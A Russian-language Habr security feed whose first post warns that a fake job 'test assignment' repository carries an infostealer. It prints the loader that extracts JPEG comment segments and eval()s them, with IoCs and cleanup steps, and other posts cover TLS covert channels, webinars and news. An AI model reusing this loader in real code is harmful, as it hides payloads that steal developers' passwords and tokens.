Информационная безопасность

⚠️ Скам через Хабр Карьеру: «тестовое задание» fullstack-вакансии содержит инфостилер

Привет, Хабр. Короткий пост-предупреждение.

Получил отклик на Хабр Карьере на вакансию fullstack-разработчика заграницу, оклад 4-5к$/мес. Его аккаунт на Хабр Карьера
Общение переводят в Telegram, на аккаунт @capdice. Прислали репозиторий с «тестовым заданием»: компания Suarts (домен suarte.art), репозиторий, задача — «интегрировать криптоплатёжный сервис».

С виду — обычный Node.js + React монорепо. Само задание безобидное. Подляна — в остальной части репо.

Два артефакта:

• server/back.jpg — выглядит как JPEG, но в сегментах 0xFFFE (COMMENT-маркер) лежит ~270 КБ обфусцированного JavaScript.

• server/app/services/log.service.js — функция addLogsForAssets читает JPEG, вытаскивает COMMENT-сегменты и прогоняет через eval(). Вызов на верхнем уровне модуля — выполняется при каждом require() сервиса, до подключения к БД.

function addLogsForAssets(imgPath) {
  const imlog = fsr.readFileSync(imgPath);
  let i = 2;
  const chunks = [];
  while (i < imlog.length) {
    if (imlog[i] !== 0xFF) break;
    const marker = imlog[i + 1];
    const length = imlog.readUInt16BE(i + 2);
    if (marker === 0xFE) {                      // JPEG COMMENT marker
      const data = imlog.subarray(i + 4, i + 2 + length);
      chunks.push(data);
    }
    i += 2 + length;
  }
  eval(Buffer.concat(chunks).toString('utf8')); // ← payload
  return true;
}
addLogsForAssets(pathr.join(process.cwd(), 'back.jpg'));

Payload эксфильтрует на cookieshop.cloud/uploads профили Chrome / Opera / Yandex, Windows AppData, macOS Keychain. Подкачивает портативный Python с github.com/indygreg/python-build-standalone/releases/ (подготовка к запуску Python-стилера) и запускает скрытый дочерний процесс через spawn(..., {detached: true, windowsHide: true}). Классический браузерный инфостилер: пароли, куки, токены.

IoC:

Артефакт SHA-256 server/back.jpg be7c30d92a93f4923aca047811303c3d2f6a754b13b7f06019e274cbdee3eee4 server/app/services/log.service.js 7ccf797ecd5716c2e6bc7d3f635654b11520515538051243c73547576ac9f740

Хост эксфильтрации: cookieshop.cloud

Если запускал бэкенд. Загрузчик отрабатывает до подключения к MongoDB — даже если видел ошибку базы, payload уже выполнился. Что делать сразу:

• Сменить пароли в браузерах (Chrome / Brave / Edge / Yandex / Opera)

• Отозвать GitHub PAT, пересоздать SSH-ключи на GitHub / GitLab / Bitbucket

• Сменить credentials в ~/.aws/, ~/.config/gcloud, ~/.config/heroku

• Завершить все сессии: https://github.com/settings/sessions

• Прогнать антивирус

Чек на будущее. Тестовые задания от непроверенных работодателей — только в одноразовой ВМ. eval() над содержимым файла — никогда не легитимный паттерн. Картинки в папках бэкенд-сервисов — красный флаг (file back.jpg, strings back.jpg | head).

На паттерн указал Claude Code при первичном проходе. AI для security-аудита неизвестного кода — рабочая практика.

Видели тот же back.jpg, cookieshop.cloud или @capdice — напишите.

Более быстрый способ ловить подобные алерты - мой канал

РБПО по ГОСТ Р 56939—2024: вебинар №18 из 30 — Функциональное тестирование

Предлагаю вашему вниманию запись вебинара, где мы разбираем безопасную разработку ПО. Вебинар посвящен процессу из раздела 5.18. – "Функциональное тестирование". На YouTube. Слайды.

Цели 18-го процесса по ГОСТ Р 56939—2024:

Контроль полноты реализованных функциональных возможностей, обнаружение и исправление ошибок с использованием технологий функционального тестирования.

Общее количество вебинаров — 30. Каждому из 25 процессов ГОСТа посвящён отдельный вебинар и ещё 5 записано дополнительно на смежные темы. Запись всех вебинаров и подборка дополнительной информации доступна по ссылке: ГОСТ56939.РФ.

Цикл вебинаров проведён компанией ООО "ПВС" совместно с учебным центром "Маском". Организаторами выступили Андрей Карпов и Виталий Пиков. Совместно с приглашёнными экспертами различных компаний мы рассмотрели 25 процессов, приведённых в ГОСТ Р 56939—2024.

P.S. ООО "ПВС" регулярно проводит вебинары и подкасты, и не только по теме РБПО :) Приглашаем желающих принять в них участие как в качестве зрителей, так и в качестве экспертов.

Агентный ИИ: как внедрять автономные цифровые системы безопасно

В ближайшие годы агентные системы будут формировать основу корпоративной автоматизации. И компании, которые сегодня правильно выстраивают фундамент безопасности, смогут внедрять автономные технологии быстрее и гораздо увереннее.

В новом руководстве разбираем:

🎱как меняются цифровые системы с приходом агентного ИИ,

🎱какие уязвимости возникают в цепочках действий и логике принятия решений,

🎱как выстроить безопасную архитектуру для агентных систем,

🎱как компании сейчас проходят путь внедрения агентного ИИ.

Скачивайте руководство на нашем сайте.

Временные ссылки: как мы убираем секреты из рабочих чатов

В рабочих чатах постоянно всплывает чувствительная информация: API-ключи, временные пароли, доступы к тестовым аккаунтам, документы, архивы, конфиги. Обычно это выглядит безобидно: «скинь токен», «вот пароль от стенда», «держи файл». Но у такого подхода есть проблема — всё это остаётся в истории переписки.

Если аккаунт сотрудника скомпрометирован, злоумышленник получает не только новые сообщения, но и весь архив: старые пароли, ключи, ссылки, файлы и переписки по проектам. Даже если часть данных уже неактуальна, быстро проверить это сложно. В итоге приходится срочно чистить чаты, отзывать токены, менять пароли и проверять инфраструктуру.

Чтобы снизить этот риск, мы сделали внутри DTIS (кастомная CRM-система от Doubletapp) сервис «Временные ссылки».

Идея простая: вместо того чтобы отправлять секрет прямо в чат, сотрудник создаёт короткоживущую ссылку. В ссылке могут быть текстовые данные — например токен, пароль или инструкция — а также файл. Получатель открывает ссылку и забирает данные, а после истечения срока жизни они становятся недоступны и удаляются.

Это не замена полноценным vault-системам и менеджерам секретов. Но сервис хорошо закрывает частый рабочий сценарий: быстро передать чувствительную информацию коллеге, подрядчику или клиенту, не оставляя её навсегда в мессенджере.

Как это выглядит в интерфейсе

В DTIS появился отдельный пункт меню «Временные ссылки». Он ведёт на страницу управления временными ссылками.

На этой странице пользователь может сразу создать новую ссылку: указать название, выбрать режим доступа, добавить секретные данные, задать срок жизни и при необходимости прикрепить файл. После создания появляется ссылка, которую можно скопировать и отправить получателю.

Ниже отображается список ранее созданных актуальных ссылок. Для удобства есть поиск по названию. У каждой ссылки можно посмотреть срок действия, скопировать её или вручную отозвать, если она была отправлена не туда или больше не нужна.

Просроченные ссылки в списке не хранятся. Пользователь видит только то, что ещё действительно актуально.

Режимы доступа

Мы оставили два основных сценария.

Первый — только пользователи DTIS. Это режим по умолчанию. Он подходит для внутренней передачи данных между сотрудниками, когда ссылку может открыть только авторизованный пользователь.

Второй — доступ для всех, у кого есть ссылка. Он нужен для ситуаций, когда данные нужно передать внешнему пользователю: клиенту, подрядчику или партнёру.

Если у пользователя нет доступа, он видит ошибку. Если ссылка уже просрочена или была отозвана, данные по ней недоступны.

Почему сделали внутри, а не взяли внешний сервис

Для таких данных важно контролировать весь контур: где они хранятся, кто имеет доступ, как удаляются и какие правила применяются. Внешние сервисы могут быть удобными, но для передачи рабочих секретов это лишний риск: зависимость от сторонней инфраструктуры, возможные утечки, изменения условий и отсутствие нужной интеграции с нашей моделью доступа.

Готовыми внешними сервисами для такой задачи мы пользоваться не хотели. При этом подходящего self-hosted решения, которое можно было бы быстро и аккуратно встроить в DTIS, авторизацию и внутренние процессы, мы для себя не нашли. Поэтому решили сделать небольшой собственный инструмент под наши сценарии.

Что получилось

Теперь вместо сообщения «вот пароль от стенда» в рабочем чате появляется временная ссылка. Она живёт ограниченное время, может быть доступна только авторизованным сотрудникам и при необходимости отзывается вручную.

Сервис небольшой, но он меняет привычку: секреты больше не должны жить в мессенджерах. Чат остаётся местом для общения, а чувствительные данные передаются через контролируемый механизм с понятным сроком жизни.

Подробнее о том, как и почему мы решили сделать собственную CRM-систему, в рамках которой работает наш сервис временных ссылок, можно прочитать в статье нашего CTO. 

РБПО по ГОСТ Р 56939—2024: вебинар №17 из 30 — Проверка кода на предмет внедрения вредоносного программного обеспечения через цепочки поставок

Начну с важного и актуального. У меня сегодня День Рождения. Приобретайте лицензии на PVS-Studio. Мне будет приятно! :)

Предлагаю вашему вниманию запись вебинара, где мы разбираем безопасную разработку ПО. Вебинар посвящен процессу из раздела 5.17. – "Проверка кода на предмет внедрения вредоносного программного обеспечения через цепочки поставок". На YouTube. Слайды.

Цели 17-го процесса по ГОСТ Р 56939—2024:

Создание условий для снижения рисков внедрения вредоносного ПО посредством воздействий на ПО или механизмы его доставки до получения ПО конечными пользователями и недопущение компрометации данных (информации) или информационной системы, использующей такое ПО.

Общее количество вебинаров — 30. Каждому из 25 процессов ГОСТа посвящён отдельный вебинар и ещё 5 записано дополнительно на смежные темы. Запись всех вебинаров и подборка дополнительной информации доступна по ссылке: ГОСТ56939.РФ.

Цикл вебинаров проведён компанией ООО "ПВС" совместно с учебным центром "Маском". Организаторами выступили Андрей Карпов и Виталий Пиков. Совместно с приглашёнными экспертами различных компаний мы рассмотрели 25 процессов, приведённых в ГОСТ Р 56939—2024.

P.S. ООО "ПВС" регулярно проводит вебинары и подкасты, и не только по теме РБПО :) Приглашаем желающих принять в них участие как в качестве зрителей, так и в качестве экспертов. 

ЕЦБ экстренно собирает банки из-за ИИ, ломающего защиту за минуты

Европейский центробанк срочно созывает совещание с крупнейшими финансовыми институтами. Причина — появление ИИ-моделей, способных находить критические уязвимости в инфраструктуре быстрее, чем банки успевают их закрывать.

По информации Financial Times, регулятор обеспокоен новым поколением моделей вроде Claude Mythos, которые демонстрируют качественно иной уровень работы с кодом и системной архитектурой. Если раньше поиск 0-day уязвимостей требовал недель ручного аудита, то теперь ИИ справляется за минуты.

Проблема в асимметрии: атакующие получают инструмент, который работает круглосуточно и масштабируется линейно, а защитники остаются с теми же процессами патчинга и тестирования. Когда уязвимость находится быстрее, чем выкатывается обновление, классическая модель безопасности ломается.

Для банковского сектора это критично. Финансовые системы строились десятилетиями, технический долг огромен, а миграция на новые стеки занимает годы. Многие core-системы всё ещё на COBOL и Java 8, где каждое изменение требует согласований и регрессионного тестирования. Скорость реакции физически не поспевает за скоростью обнаружения.

ЕЦБ, судя по всему, хочет понять масштаб угрозы и выработать общие меры. Возможные направления: ужесточение требований к мониторингу, обязательное использование runtime-защиты, пересмотр SLA на патчинг критических уязвимостей. Но главный вопрос остаётся открытым — можно ли вообще защищаться традиционными методами, когда противник на порядок быстрее.

Банкам придётся либо резко ускорять DevSecOps-процессы и автоматизировать весь цикл от обнаружения до деплоя фикса, либо переходить на архитектуры с изоляцией по умолчанию, где эксплуатация одной уязвимости не даёт доступа ко всей инфраструктуре. Оба варианта требуют серьёзных инвестиций и изменения культуры разработки.

Гонка вооружений в кибербезопасности перешла в новую фазу, где время реакции измеряется уже не днями, а часами. Регуляторы это осознали. Вопрос, успеют ли за ними сами банки.

Прятать данные в TLS-трафике: как выглядит настоящий стелс

Больше 70% интернет-трафика — зашифрованный TLS. Это не баг, это фича: тонны HTTPS-соединений, WebSocket-потоков, мобильных приложений и игровых клиентов создают идеальный фон для передачи данных без привлечения внимания.

Идея простая: если нужно спрятать дерево, прячь его в лесу. В случае интернета этот лес состоит из миллионов TCP/443-соединений, которые выглядят настолько обычно, что именно это делает их интересной средой для экспериментов.

Почему TLS-трафик — удобная маскировка

TLS скрывает содержимое пакетов. DPI может видеть метаданные — размер, timing, SNI в Client Hello, но не payload. Если ваше соединение выглядит как обычный HTTPS-запрос или долгоживущий WebSocket, оно сливается с фоном.

Практическая сторона: можно передавать данные внутри легитимных TLS-сессий, используя существующие протоколы как транспорт. Это не новая идея — стеганография в сетевых протоколах обсуждается десятилетиями, но TLS даёт дополнительный слой: шифрование на уровне протокола скрывает структуру payload от внешнего наблюдателя.

Где это может быть полезно

• Обход блокировок в странах с жёстким DPI — если трафик неотличим от обычного HTTPS, его сложнее фильтровать

• Распределённое хранилище данных в трафике — архивные данные можно держать не на диске, а в виде пакетов, циркулирующих между нодами

• Covert channels для исследований в области безопасности — тестирование систем мониторинга и обнаружения аномалий

Технические ограничения и риски

Главное ограничение — timing и packet size analysis. Если трафик выглядит нетипично по объёму или интервалам, статистические методы могут его вычислить. Traffic shaping помогает, но не решает проблему полностью.

Второе — легитимность. Если используешь чужую инфраструктуру или протоколы без согласия провайдера, это может нарушать ToS. В корпоративной среде такие эксперименты быстро привлекут внимание security-команды.

Третье — надёжность. Пакеты теряются, соединения рвутся, данные нужно восстанавливать. Без механизмов коррекции ошибок и redundancy хранилище в трафике превращается в лотерею.

В итоге: технически возможно, но требует продуманной архитектуры, понимания сетевых протоколов и готовности к тому, что решение будет хрупким. Как proof-of-concept — интересно. Как production-инструмент — сомнительно.

Представлен открытый ИБ-проект bumblebee от команды Perplexity для защиты ПК на Linux и macOS:

• проверяет файлы, установочные сборки, библиотеки, фреймворки

• сканирует пакетные менеджеры, плагины для IDE, браузерные расширения, конфиги Claude, Cursor, Coder и других ИИ‑инструментов.

• сканирует метаданные.

В информационной безопасности невозможно исключить все угрозы и любая инфраструктура может стать целью злоумышленников: целевые компрометаций через уязвимости, подрядчиков или, например, сотрудников. В связи с этим компании определяют, какой уровень риска они готовы принять (толерантность), и как будут управлять этими рисками (риск менеджмент).

Толерантность - это допустимый уровень угроз и потенциального ущерба, который организация готова принять или, другими словами, насколько опасные сценарии для бизнеса считаются приемлемыми. Обычно Толерантность делят на 3 типа: высокая, средняя и, соответственно, низкая.

При низкой толерантности компании практически не допускают критических угроз: жесткий контроль доступов, постоянный мониторинг, сегментация сети, обязательный MFA, минимальные привилегии, строгие политики безопасности, быстрое реагирование на инциденты и т.д. Обычно это характерно для банков, государственных структур и критической инфраструктуры.

Высокая толерантность означает, что организации (обычно малый бизнес или проекты без зрелой ИБ) готовы принимать значительные риски ради скорости развития, снижения затрат или упрощения процессов. При таком виде толерантности характерен слабый контроль доступа, отсутствие сегментации, редкие аудиты, устаревшие системы и другие пренебрежения информационной безопасности (если она вообще существует в организации).

Ну а средняя толерантность говорит сама за себя - это уровень принятия ИБ где-то между: допускается принятие части рисков ради удобства, скорости работы или экономии ресурсов.

Риск-менеджмент - это процесс управления рисками информационной безопасности. После оценки угроз организация выбирает один из вариантов обработки риска:

• Принятие риска (Risk Acceptance)

• Отказ от риска (Risk Avoidance)

• Митигация риска (Risk Mitigation)

• Передача риска (Risk Transfer)

Принятие риска - это когда компания осознанно принимает риск и ничего не меняет. Например уязвимость имеет низкую вероятность эксплуатации (likelihood), устранение слишком дорого (cost-benefits analysis) или ущерб считается приемлемым. Отказ от риска - когда организация полностью убирает/устраняет источник риска. Например, отключение небезопасного сервиса, отказ от хранения персональных данных или закрытие внешнего доступа (часто OWA). Митигация риска (Risk Mitigation) - наиболее распространенный подход, когда компания снижает вероятность атаки или уменьшает последствия компрометации. Передача риска (Risk Transfer) - когда риск частично передается третьей стороне, например в применяется страхование, использование облачных провайдеров; аутсорсинг SOC или передача ответственности подрядчику.

Кроме локальной нормативной базы, которые регулируют некоторые критические сегменты, например ПДн или КИИ, компании вправе самостоятельно выбирать допустимость угроз и управление рисками. Однако, говоря про международные стандарты, нельзя не затронуть ISO/IEC 27005:2022 - Руководство по управлению информационной безопасностью, которое описывает идентификацию угроз, анализ рисков, оценку последствий, методы обработки рисков, подходы к принятию решений и другие вопросы риск-менеджмента. А Российский ГОСТ на базе ИСО 27005:2010 можно почитать в Электронном фонде правовых и нормативно-технический документов.

🧠 Обязательно поделись с теми, кому это может быть полезно: 💬 Телеграм | 💬 Max | 📝 Хабр | 💙 ВКонтакте

Утечки данных в ритейле: онлайн-торговля вышла на первый план

Экспертно-аналитический центр InfoWatch опубликовал исследование «Утечки информации в сфере торговли, 2021-2025 гг.». В отчете специалисты ЭАЦ InfoWatch приводят статистику по инцидентам в мировом и российском ритейле за пять лет.

По итогам исследования:

• в мировой торговле зарегистрировано почти 5000 утечек данных, в России — 711 инцидентов;

• чаще всего утекают ПДн покупателей — более 11 млрд записей в мире и 610 млн в России;

• более половины инцидентов в России — это маркетплейсы и интернет-магазины.

Подробности на сайте InfoWatch.

РБПО по ГОСТ Р 56939—2024: вебинар №16 из 30 – Использование инструментов композиционного анализа

Компания ООО "ПВС" совместно с учебным центром "Маском" провела цикл вебинаров, посвящённых разработке безопасного программного обеспечения (РБПО). Совместно с приглашёнными экспертами различных компаний мы рассмотрели 25 процессов, приведённых в ГОСТ Р 56939—2024.

Предлагаем сегодня вашему вниманию вебинар цикла, посвящённый процессу, описанному в разделе 5.16. – "Использование инструментов композиционного анализа". На YouTube. Слайды.

Цели 16-го процесса по ГОСТ Р 56939—2024:

Создание условий для снижения рисков наследования уязвимостей и недекларированных возможностей при использовании заимствованного кода в коде ПО разработчика.

Общее количество вебинаров — 30: каждому из 25 процессов ГОСТа посвящено по одному вебинару и 5 записано дополнительно на смежные темы. Запись всех вебинаров и подборка дополнительной информации доступна по ссылке: ГОСТ56939.РФ.

ИИ не должен управлять исполнением. Заметки о детерминированном FSM-рантайме для агентов

Большинство рантаймов для ИИ-агентов сейчас работают по одному простому паттерну: LLM -> вызов инструмента -> рантайм выполняет сайд-эффект.

Для read-only задач это работает вполне сносно. Но как только агенты начинают мутировать внешнее состояние (платежи, базы данных, инфраструктуру, персональные данные), такая модель исполнения становится слишком сложной для операционного контроля и прогнозирования.

В процессе подготовки части наших внутренних агентов к деплою, мы пришли к необходимости полностью разделить процессы «рассуждения» (reasoning) и право на исполнение (execution authority).

Мы написали nano-vm — детерминированный FSM-рантайм (конечный автомат), в котором:

• модель лишь предлагает действия;

• рантайм жестко контролирует переходы состояний и сайд-эффекты.

Рантайм принудительно обеспечивает:

• конечные графы исполнения;

• строгий порядок шагов, зафиксированный при компиляции (compile-time ordering);

• capability-gating для инструментов (жестко изолированные доступы);

• границы идемпотентности и защиту от replay-атак;

• append-only историю аудита.

Одно из архитектурных решений, которое оказалось критически важным: слой политик намеренно сделан менее выразительным, чем Python.

Мы полностью отказались от eval-подобного исполнения и ограничили политики небольшим детерминированным подмножеством AST:

• только простые операторы;

• никаких циклов;

• никаких системных вызовов.

Это ограничение радикально упростило аудит и исключило целые классы рантайм-поведения, которые мы не хотели видеть в финансовых воркфлоу.

Sabotage Mode и семантика отказов

Чтобы протестировать семантику отказов, мы добавили в демо-стенд «Sabotage Mode» с несколькими векторами атак:

• неавторизованная инъекция инструментов (tool injection);

• попытки повторного выполнения (replay-атаки);

• подделка хешей (hash corruption);

• пропуск шагов пайплайна (skipped transitions).

С точки зрения эксплуатации самым полезным свойством пока оказались именно детерминированные границы повторного воспроизведения вокруг сайд-эффектов.

Нам также пришлось решать крайне неудобную compliance-проблему: как сохранить неизменяемые цепочки аудита (immutable audit chains) и при этом выполнить требования 152-ФЗ / GDPR об уничтожении данных. Наш текущий подход заменяет ссылки в хранилище на маркеры-надгробия (tombstones), полностью сохраняя криптографическую непрерывность хешей и ссылочную целостность графа.

В основном мне интересно, как другие инженеры решают проблему права на исполнение в stateful-агентах. Вы позволяете модели напрямую управлять сайд-эффектами или встраиваете детерминированный слой контроля между ними?

• Core runtime: github.com/Ale007XD/nano_vm

• MCP layer: github.com/Ale007XD/nano-vm-mcp

• Live Sabotage Demo: demo.bannerbot.ru:8843

Почему важно разбирать технический долг вовремя

Технический долг – это накопленные упрощения, устаревшие решения и несвоевременно устраненные проблемы в ИТ-системах. Это могут быть старые библиотеки, забытые сервисы и другие элементы, которые когда то были временными, но остались в продакшене.

В контексте SAST/DAST/SCA техдолг – это разница между тем, что инструмент нашел, и тем, что AppSec-инженер разобрал, а разработчик исправил. Из-за большого количества срабатываний аппсеки могут потерять реальные уязвимости.

Со временем такой долг делает инфраструктуру и уязвимости в коде сложнее для контроля, замедляет реагирование на инциденты и нахождение в коде уязвимостей, которые можно исправить заранее, а также повышает вероятность того, что проблема возникнет там, где её никто не ожидал.

Как рассчитывается

Технический долг рассчитывается как сумма затрат (времени разработчиков, денег) на исправление дефектов. Он включает оценку сложности рефакторинга, устранения багов, обновления библиотек и архитектурных улучшений.

Почему нужно разбирать технический долг вовремя?

Спросили у инженера по информационной безопасности Swordfish Security Дениса Данилова, который помогает заказчикам разбирать технический долг в реальных проектах:

Очень часто после внедрения инструмента и первого сканирования проекта находится очень много срабатываний, на которые команда не может выделить время. Даже если аппсек разобрал все уязвимости и принёс только актуальные, разработчики сопротивляются и не хотят тратить на это время. В итоге уязвимости накапливаются и одна из них обязательно выливается в инцидент, который разработчики вынуждены чинить уже не планово, а с горящими сроками. Если же каждый спринт разбирать и исправлять хотя бы по одну уязвимость, внедрив это в процесс, разработчики не только сократят существующий техдолг, но и со временем придут к тому, что его появление значительно уменьшится. А появление нового техдолга будет ограничено механизмом Quality Gate.

💡 Советы эксперта:

• Регулярно обновляйте зависимости и убирайте устаревшие компоненты.

• Контролируйте и закрывайте временные доступы после использования.

• Проводите инвентаризацию сервисов и API.

• Рассматривайте технический долг как часть модели угроз.
  

Пароли Агентства по кибербезопасности США утекли в открытый доступ из-за подрядчика

 — Подрядчик Агентства по кибербезопасности и безопасности инфраструктуры США (CISA) до недавнего времени хранил в публичном репозитории GitHub учетные данные для доступа к внутренним системам ведомства, включая облачные ключи, токены и пароли в открытом виде

 ❗️ Исследователи в области кибербезопасности назвали инцидент одной из самых серьезных утечек данных в истории государственных структур США

В репозитории с названием Private-CISA находились административные данные для нескольких аккаунтов AWS GovCloud, а также файлы с именами пользователей и паролями от внутренних систем агентства

Эксперты также обнаружили, что владелец аккаунта отключил встроенную функцию GitHub, которая предотвращает публикацию секретных ключей и учетных данных

Этичный хакер

РБПО по ГОСТ Р 56939—2024: вебинар №15 из 30 – Обеспечение безопасности используемых секретов

Компания ООО "ПВС" совместно с учебным центром "Маском" провела цикл вебинаров, посвящённых разработке безопасного программного обеспечения (РБПО). Совместно с приглашёнными экспертами различных компаний мы рассмотрели 25 процессов, приведённых в ГОСТ Р 56939—2024.

Предлагаем сегодня вашему вниманию вебинар цикла, посвящённый процессу, описанному в разделе 5.15. – "Обеспечение безопасности используемых секретов". На YouTube. Слайды.

Цели 15-го процесса по ГОСТ Р 56939—2024:

Обеспечение безопасного использования секретов.

Примечание — В данном подразделе под секретами понимаются данные в любом виде, которые могут использоваться для обеспечения аутентификации и/или целостности и/или конфиденциальности информации (пароли, цифровые сертификаты и т. п.), в том числе путём применения в соответствии с законодательством Российской Федерации средств криптографической защиты информации или иными методами.

Общее количество вебинаров — 30: каждому из 25 процессов ГОСТа посвящено по одному вебинару и 5 записано дополнительно на смежные темы. Запись всех вебинаров и подборка дополнительной информации доступна по ссылке: ГОСТ56939.РФ.

Приходите на вебинар — покажем, как выстроить резервное копирование, которому можно доверять

Бэкап есть почти у всех. Но одно дело — хранить копии, другое — быть уверенным, что при сбое инфраструктура поднимется в нужные сроки и без потерь. Как перейти от «копии существуют» к «восстановление работает»?

Разберем это на совместном вебинаре с экспертами Cloud.ru и оператором ИТ-решений ОБИТ. Будет полезно ИТ-директорам, директорам по ИБ, системным архитекторам, инженерам и администраторам — всем, кто отвечает за сохранность данных в облаке.

Что расскажем и покажем:

• какие практики резервного копирования актуальны сейчас и в чем их различия;

• почему классическая стратегия 3-2-1 на практике может не выполнять свою функцию;

• почему сторонний бэкап становится стандартом, а не опцией;

• как опыт интегратора влияет на результат — и что меняется, когда интегратор и вендор работают в связке;

• реальные кейсы: что именно это дает бизнесу.

В практической части пройдемся по интерфейсу SaaS-решения Cloud.ru. В прямом эфире покажем процесс восстановления машины из резервной копии через агента и разберем, как встроить решение в существующую инфраструктуру без глобальных переделок.

📅 Когда? 26 мая в 11:00 мск.

📍 Где? Онлайн. Зарегистрируйтесь, чтобы задать вопросы спикерам в прямом эфире.

Эхо из прошлого: ошибки архитектуры могут "выстрелить" спустя годы (благодаря WebArchive)

Представьте: 8 лет назад была небезопасная архитектура с IDOR. Т.е. можно было получить доступ к документу просто зная его ссылку. А ссылки чудным образом попали в WebArchive (он же - Wayback Machine). Спустя время архитектуру поменяли и проблема ушла. Но, WebArchive всё помнит: ссылки уже успели сохраниться. И кто-то, спустя многие годы, публикует статью с указанием ссылок на WebArchive, где указаны персональные данные и платёжки клиентов. Внимание, вопрос: успокоит ли общественность реакция в стиле: "да это давно было, сервиса уж нет"?

Вот один из сохранённых по ссылке документа: он сохранился в Wayback Machine в 2018 и до сих пор доступен.

Самое печальное - некоторые компании не считают это угрозой. Для них это "фича, а не бага". Поподробнее о том почему компании не желают признавать проблему - в моей статье Wayback Machine как архив IDOR: как временные ссылки перестали быть временными.

Пару месяцев назад мне довелось поучаствовать в “контрольной закупке” одного из ювелирных магазинов. Обстоятельства были предельно ясные: в комментариях группы магазина в мессенджере Телеграмм стали писать боты и предлагать помощь с выбором украшения. При этом переписку старались перевести в личные сообщения, где уже и началось НЛП. Моя задача была определить, кто этим занимается и есть ли причастность сотрудников компании к данной схеме.

Ну что же, примеряем на себе образ “потенциального потерпевшего” и вступаем в переписку с ботом. Сначала меня игнорируют и недели 2-3 не выходят на связь, а потом долгожданное сообщение в … 4 часа утра! В каком часовом поясе живут лица по ту сторону экрана, я могу только догадываться.
Что было дальше, лучше почитать в прикрепленных скриншотах: как говорится, комментировать - только портить.

С учетом ограничений платформы на загрузку только 1 картинки, всю переписку можно прочитать у меня в группе Телеграм или Макс.

Однако при прочтении прошу обратить внимание на следующие аспе:

1. переписка велась с моего основного аккаунта, а “Виктория” даже не предприняла попытку установить, кто с ней общается и чем занимается;

2. адрес доставки и адрес склада совпадают, но у “Виктории” опять ничего не триггернуло;

3. описание банка, направленное “Викторией”, было сгенерировано ИИ не в ее пользу, так как “она” сама пишет: банк контролируется через иностранные компании и просьба не путать по написанию с другими банками. Но для “Виктории” главное, что офис находится в Москве :)

Естественно, что вся переписка велась при непосредственном контроле со стороны службы СБ заказчика. В качестве дополнительного “прогрева” были даже мысли “нарисовать” платежку с оплатой, но мысли о 327-й УК РФ не давали покоя, поэтому решили не рисковать. Ну и конечно, после окончания взаимодействия были уведомлены СБ Российских банков, где присутствовали счета указанных в переписке дропов.

В общем, как пели кот Базилио и лиса Алиса из кинофильма “Буратино”:

На дурака не нужен нож,
Ему с три короба наврёшь -
И делай с ним, что хошь!

Будьте аккуратны, берегите себя и своих близких.

🧠 Обязательно поделись с теми, кому это может быть полезно: 💬 Телеграм | 💬 Max | 📝 Хабр | 💙 ВКонтакте

Дела становятся еще детектнее, а запуск новой версии PT NAD 13.0 — еще ближе ☄️

Уже 4 июня, ровно в 14:00, команда системы поведенческого анализа сетевого трафика от Positive Technologies — PT NAD — прольет свет на каждый темный уголок вашей инфраструктуры в новом сезоне «Очень детектных дел» (отсылка не случайна).

В этот день вы сможете вместе с нами узнать, как поменяют правила игры:

• автоматизированное реагирование;

• облачное детектирование;

• архивное хранение метаданных.

Чтобы точно все это успеть, вот чек-лист ваших действий прямо сейчас:

1) Отменить все свои планы на 4 июня в 14:00

2) Зарегистрироваться на онлайн-запуск по ссылке

3) С нетерпением ждать встречи вместе с нами.

Увидимся уже скоро! Такие дела.

Сегодня n8n и Dify стали популярными инструментами для создания ИИ‑агентов, автоматизации процессов и интеграции с LLM. Однако при внедрении в крупном бизнесе компании сталкиваются с рядом вопросов: ИБ, отсутствие SLA, юридические ограничения, интеграция с корпоративной средой.

На вебинаре покажем, как использовать возможности n8n и Dify в Enterprise‑контуре с помощью платформы ROBIN — безопасно, легально и с полноценной технической поддержкой.

Обсудим:

• какие риски возникают при самостоятельном внедрении Open Source решений;

• как обеспечить соответствие требованиям ИБ и импортозамещения;

• как связать ИИ‑агентов с корпоративными системами и RPA;

• как использовать готовые коннекторы и автоматизировать процессы даже в системах без API;

• реальные кейсы: выставление счетов в 1С через Telegram‑бота (связка n8n + ROBIN) и интеллектуальный подбор оборудования с оформлением заказа в ERP (связка Dify + ROBIN).

Также расскажем о подходе ROBIN к поддержке и сопровождению внешних ИИ‑агентов в корпоративной среде.

20 мая, 11:00, онлайн, бесплатно, требуется регистрация.